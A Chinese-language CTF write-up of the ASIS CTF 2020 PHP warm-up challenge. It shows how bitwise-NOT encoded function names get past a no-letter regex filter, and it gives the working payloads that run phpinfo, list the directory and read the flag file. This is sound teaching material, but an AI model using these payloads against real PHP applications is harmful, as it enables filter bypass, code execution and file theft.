前言
打开ctftime,偶然发现ASISCTF 2020正在进行,于是就注册了个号。上去发现一共有4个web题,但是只有一道热身题是php的,所以就做了这么一道题,所以说有时间还是要学学node.js和python web安全啊,现在ctf题里node.js越来越热门了。
题解
打开题目看到:
1 |
|
可以看出这考点就是长度限制的无字母RCE的思路,而且长度不能超过60。
我们知道php 7存在一个新的特性, https://www.php.net/manual/zh/migration70.incompatible.php :
也就是说,php7能够成功解析下面的php命令:
1 | (phpinfo)(); |
但是php5不支持:
所以我们可以将phpinfo
命令进行编码传入,这样就能绕过正则匹配了。一般情况下我们可以用^
,|
或是~
这种取反异或的符号来绕过。比较习惯取反符号~
。因为不能确定php版本号,先用(phpinfo)();
命令来尝试下:
1 | a = 'phpinfo'; |
令warmup=(~%8F%97%8F%96%91%99%90)();
成功执行了,php版本号是php 7.4.7。先收集一波phpinfo信息:
1 | php version: 7.4.7 |
接着尝试下能不能列目录,用scandir
函数:
1 | print_r(scandir('./')); |
令warmup=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(~%D1%D0))
:
发现了flag文件。
然后用readfile
,show_source
这种读取文件的函数来读取flag:
1 | (show_source)('flag.php'); |
得到了flag,这道题简单就简单在这个flag文件是可以读取的,如果是需要执行的,那就比较难了,因为所有可以用的系统函数都被禁掉了。